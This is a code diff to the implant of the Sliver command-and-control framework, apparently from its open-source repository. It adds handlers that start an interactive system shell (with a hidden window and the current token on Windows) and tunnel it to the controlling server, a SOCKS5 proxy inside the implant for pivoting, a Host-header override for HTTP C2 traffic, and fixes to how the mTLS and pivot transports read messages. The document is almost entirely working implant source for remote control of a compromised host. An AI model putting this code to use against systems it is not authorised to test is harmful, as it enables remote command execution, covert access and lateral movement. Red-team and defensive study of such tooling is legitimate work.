||||
@@ -0,0 +1,118 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"io"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
|
||||
shellReq := &sliverpb.ShellReq{}
|
||||
err := proto.Unmarshal(envelope.Data, shellReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
shellPath := shell.GetSystemShellPath(shellReq.Path)
|
||||
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
|
||||
if systemShell == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to get system shell")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
// At this point, comand is already started by StartInteractive
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to spawn! err: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Process spawned!")
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
tunnel := transports.NewTunnel(
|
||||
shellReq.TunnelID,
|
||||
systemShell.Stdout,
|
||||
systemShell.Stdin,
|
||||
)
|
||||
connection.AddTunnel(tunnel)
|
||||
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Pid: uint32(systemShell.Command.Process.Pid),
|
||||
Path: shellReq.Path,
|
||||
TunnelID: shellReq.TunnelID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: shellResp,
|
||||
}
|
||||
|
||||
// Cleanup function with arguments
|
||||
cleanup := func(reason string, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
|
||||
// {{end}}
|
||||
|
||||
systemShell.Stop()
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
_, err := io.Copy(tWriter, tunnel.Reader)
|
||||
|
||||
if err != nil {
|
||||
cleanup("io error", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
|
||||
if err != nil {
|
||||
cleanup("shell wait error", err)
|
||||
return
|
||||
}
|
||||
|
||||
if systemShell.Command.ProcessState != nil {
|
||||
if systemShell.Command.ProcessState.Exited() {
|
||||
cleanup("process terminated", nil)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
cleanup("EOF", err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
|
||||
// {{end}}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/things-go/go-socks5"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type socksTunnelPool struct {
|
||||
tunnels *sync.Map // map[uint64]chan []byte
|
||||
}
|
||||
|
||||
var socksTunnels = socksTunnelPool{
|
||||
tunnels: &sync.Map{},
|
||||
}
|
||||
|
||||
var socksServer *socks5.Server
|
||||
|
||||
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
socksData := &sliverpb.SocksData{}
|
||||
err := proto.Unmarshal(envelope.Data, socksData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if socksData.Data == nil {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
|
||||
// {{end}}
|
||||
|
||||
if socksData.Username != "" && socksData.Password != "" {
|
||||
cred := socks5.StaticCredentials{
|
||||
socksData.Username: socksData.Password,
|
||||
}
|
||||
auth := socks5.UserPassAuthenticator{Credentials: cred}
|
||||
socksServer = socks5.NewServer(
|
||||
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
|
||||
)
|
||||
} else {
|
||||
socksServer = socks5.NewServer()
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] Server: %v", socksServer)
|
||||
// {{end}}
|
||||
|
||||
// init tunnel
|
||||
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
|
||||
tunnelChan := make(chan []byte, 10)
|
||||
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
|
||||
tunnelChan <- socksData.Data
|
||||
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] Failed to serve connection: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
} else {
|
||||
tunnel.(chan []byte) <- socksData.Data
|
||||
}
|
||||
}
|
||||
|
||||
var _ net.Conn = &socks{}
|
||||
|
||||
type socks struct {
|
||||
stream *sliverpb.SocksData
|
||||
conn *transports.Connection
|
||||
// mux sync.Mutex
|
||||
Sequence uint64
|
||||
}
|
||||
|
||||
func (s *socks) Read(b []byte) (n int, err error) {
|
||||
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
|
||||
if !ok {
|
||||
return 0, errors.New("[socks] invalid tunnel id")
|
||||
}
|
||||
|
||||
data := <-channel.(chan []byte)
|
||||
return copy(b, data), nil
|
||||
}
|
||||
|
||||
func (s *socks) Write(b []byte) (n int, err error) {
|
||||
data, err := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: s.stream.TunnelID,
|
||||
Data: b,
|
||||
Sequence: atomic.LoadUint64(&s.Sequence),
|
||||
})
|
||||
if !s.conn.IsOpen {
|
||||
return 0, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
|
||||
// {{end}}
|
||||
s.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}
|
||||
|
||||
atomic.AddUint64(&s.Sequence, 1)
|
||||
return len(b), err
|
||||
}
|
||||
|
||||
func (s *socks) Close() error {
|
||||
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
|
||||
if !ok {
|
||||
return errors.New("[socks] can't close unknown channel")
|
||||
}
|
||||
close(channel.(chan []byte))
|
||||
|
||||
data, err := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: s.stream.TunnelID,
|
||||
CloseConn: true,
|
||||
})
|
||||
if !s.conn.IsOpen {
|
||||
return err
|
||||
}
|
||||
s.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func (c *socks) LocalAddr() net.Addr {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *socks) RemoteAddr() net.Addr {
|
||||
return &net.IPAddr{
|
||||
IP: net.IPv4(127, 0, 0, 1),
|
||||
Zone: "",
|
||||
}
|
||||
}
|
||||
|
||||
// TODO impl
|
||||
func (c *socks) SetDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// TODO impl
|
||||
func (c *socks) SetReadDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// TODO impl
|
||||
func (c *socks) SetWriteDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// tunnelWriter - Sends data back to the server based on data read()
|
||||
// I know the reader/writer stuff is a little hard to keep track of
|
||||
type tunnelWriter struct {
|
||||
tun *transports.Tunnel
|
||||
conn *transports.Connection
|
||||
}
|
||||
|
||||
func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
n := len(data)
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tw.tun.ReadSequence(),
|
||||
TunnelID: tw.tun.ID,
|
||||
Data: data,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -38,10 +39,6 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrFailedWrite - Failed to write to a connection
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
@@ -121,7 +118,7 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
}
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = nil
|
||||
stoppedPivotListeners = &sync.Map{}
|
||||
}
|
||||
|
||||
// StopAllListeners - Stop all pivot listeners
|
||||
@@ -477,7 +474,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
|
||||
p.readMutex.Lock()
|
||||
defer p.readMutex.Unlock()
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
n, err := p.conn.Read(dataLengthBuf)
|
||||
|
||||
n, err := io.ReadFull(p.conn, dataLengthBuf)
|
||||
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error (read msg-length): %v\n", err)
|
||||
@@ -486,23 +485,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, readBufSize)
|
||||
dataBuf := []byte{}
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := p.conn.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if dataLength <= 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[pivot] zero data length")
|
||||
}
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(p.conn, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return dataBuf, err
|
||||
}
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"os/exec"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
@@ -56,12 +57,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
@@ -69,6 +73,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -79,6 +84,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
|
||||
@@ -87,12 +93,15 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
|
||||
term, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
cancel()
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
@@ -101,6 +110,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: term,
|
||||
Stdin: term,
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
|
||||
|
||||
@@ -19,6 +19,7 @@ package shell
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -30,16 +31,26 @@ type Shell struct {
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
Cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// Start - starts a command
|
||||
func (s *Shell) Start() error {
|
||||
return s.Command.Start()
|
||||
}
|
||||
|
||||
// Wait - waits till the command finish
|
||||
func (s *Shell) Wait() error {
|
||||
return s.Command.Wait()
|
||||
}
|
||||
|
||||
// Stop - stopping the command (syskill) using context cancel
|
||||
func (s *Shell) Stop() {
|
||||
if s.Cancel != nil {
|
||||
s.Cancel()
|
||||
}
|
||||
}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
@@ -51,12 +52,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
@@ -64,6 +68,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -72,6 +77,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
Cancel: cancel,
|
||||
}, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
@@ -70,19 +71,37 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
cancel()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}, nil
|
||||
Cancel: cancel,
|
||||
}, err
|
||||
}
|
||||
@@ -519,6 +519,12 @@ func openSessionHandler(data []byte) {
|
||||
// {{end}} -IsBeacon
|
||||
|
||||
func sessionMainLoop(connection *transports.Connection) error {
|
||||
if connection == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[session] nil connection!")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
err := connection.Start()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -526,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if connection == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[session] nil connection!")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
pivots.RestartAllListeners(connection.Send)
|
||||
defer pivots.StopAllListeners()
|
||||
defer connection.Stop()
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
package transports
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"sync"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type Connection struct {
|
||||
Send chan *pb.Envelope
|
||||
Recv chan *pb.Envelope
|
||||
IsOpen bool
|
||||
ctrl chan struct{}
|
||||
cleanup func()
|
||||
once *sync.Once
|
||||
tunnels *map[uint64]*Tunnel
|
||||
mutex *sync.RWMutex
|
||||
|
||||
uri *url.URL
|
||||
proxyURL *url.URL
|
||||
|
||||
Start Start
|
||||
Stop Stop
|
||||
}
|
||||
|
||||
// URL - Get the c2 URL of the connection
|
||||
func (c *Connection) URL() string {
|
||||
if c.uri == nil {
|
||||
return ""
|
||||
}
|
||||
return c.uri.String()
|
||||
}
|
||||
|
||||
// ProxyURL - Get the c2 URL of the connection
|
||||
func (c *Connection) ProxyURL() string {
|
||||
if c.proxyURL == nil {
|
||||
return ""
|
||||
}
|
||||
return c.proxyURL.String()
|
||||
}
|
||||
|
||||
// Cleanup - Execute cleanup once
|
||||
func (c *Connection) Cleanup() {
|
||||
c.once.Do(func() {
|
||||
c.cleanup()
|
||||
c.IsOpen = false
|
||||
c.removeAndCloseAllTunnels()
|
||||
})
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
return (*c.tunnels)[ID]
|
||||
}
|
||||
|
||||
// AddTunnel - Add tunnel to mapping
|
||||
func (c *Connection) AddTunnel(tun *Tunnel) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
(*c.tunnels)[tun.ID] = tun
|
||||
}
|
||||
|
||||
// RemoveTunnel - Add tunnel to mapping
|
||||
func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(*c.tunnels, ID)
|
||||
}
|
||||
|
||||
func (c *Connection) removeAndCloseAllTunnels() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
for id, tunnel := range *c.tunnels {
|
||||
tunnel.Close()
|
||||
|
||||
delete(*c.tunnels, id)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Connection) RequestResend(data []byte) {
|
||||
c.Send <- &pb.Envelope{
|
||||
Type: pb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -70,6 +70,7 @@ type HTTPOptions struct {
|
||||
ForceHTTP bool
|
||||
DisableAcceptHeader bool
|
||||
DisableUpgradeHeader bool
|
||||
HostHeader string
|
||||
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
@@ -109,6 +110,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
ForceHTTP: c2URI.Query().Get("force-http") == "true",
|
||||
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
|
||||
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
|
||||
HostHeader: c2URI.Query().Get("host-header"),
|
||||
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
@@ -221,6 +223,9 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
if s.Options.HostHeader != "" {
|
||||
req.Host = s.Options.HostHeader
|
||||
}
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
|
||||
@@ -25,7 +25,9 @@ import (
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -43,8 +45,6 @@ var (
|
||||
// PingInterval - Amount of time between in-band "pings"
|
||||
PingInterval = 2 * time.Minute
|
||||
|
||||
readBufSize = 16 * 1024 // 16kb
|
||||
|
||||
// caCertPEM - PEM encoded CA certificate
|
||||
caCertPEM = `{{.Config.MtlsCACert}}`
|
||||
|
||||
@@ -91,8 +91,8 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
|
||||
if len(dataLengthBuf) == 0 || connection == nil {
|
||||
panic("[[GenerateCanary]]")
|
||||
}
|
||||
_, err := connection.Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Socket error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
@@ -100,23 +100,22 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
|
||||
// Read the length of the data
|
||||
readBuf := make([]byte, readBufSize)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := connection.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
if dataLength <= 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[mtls] zero data length")
|
||||
}
|
||||
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(connection, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -236,7 +237,9 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
|
||||
p.readMutex.Lock()
|
||||
defer p.readMutex.Unlock()
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
n, err := p.conn.Read(dataLengthBuf)
|
||||
|
||||
n, err := io.ReadFull(p.conn, dataLengthBuf)
|
||||
|
||||
if err != nil || n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error (read msg-length): %v\n", err)
|
||||
@@ -245,22 +248,22 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, bufSize)
|
||||
dataBuf := []byte{}
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := p.conn.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
if dataLength <= 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[pivot] zero data length")
|
||||
}
|
||||
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(p.conn, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return dataBuf, err
|
||||
}
|
||||
|
||||
@@ -61,12 +61,15 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if not .Config.NamePipec2Enabled}}
|
||||
"io"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
// {{end}}
|
||||
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -76,127 +79,6 @@ var (
|
||||
type Start func() error
|
||||
type Stop func() error
|
||||
|
||||
// Connection - Abstract connection to the server
|
||||
type Connection struct {
|
||||
Send chan *pb.Envelope
|
||||
Recv chan *pb.Envelope
|
||||
IsOpen bool
|
||||
ctrl chan struct{}
|
||||
cleanup func()
|
||||
once *sync.Once
|
||||
tunnels *map[uint64]*Tunnel
|
||||
mutex *sync.RWMutex
|
||||
|
||||
uri *url.URL
|
||||
proxyURL *url.URL
|
||||
|
||||
Start Start
|
||||
Stop Stop
|
||||
}
|
||||
|
||||
// URL - Get the c2 URL of the connection
|
||||
func (c *Connection) URL() string {
|
||||
if c.uri == nil {
|
||||
return ""
|
||||
}
|
||||
return c.uri.String()
|
||||
}
|
||||
|
||||
// ProxyURL - Get the c2 URL of the connection
|
||||
func (c *Connection) ProxyURL() string {
|
||||
if c.proxyURL == nil {
|
||||
return ""
|
||||
}
|
||||
return c.proxyURL.String()
|
||||
}
|
||||
|
||||
// Cleanup - Execute cleanup once
|
||||
func (c *Connection) Cleanup() {
|
||||
c.once.Do(func() {
|
||||
c.cleanup()
|
||||
c.IsOpen = false
|
||||
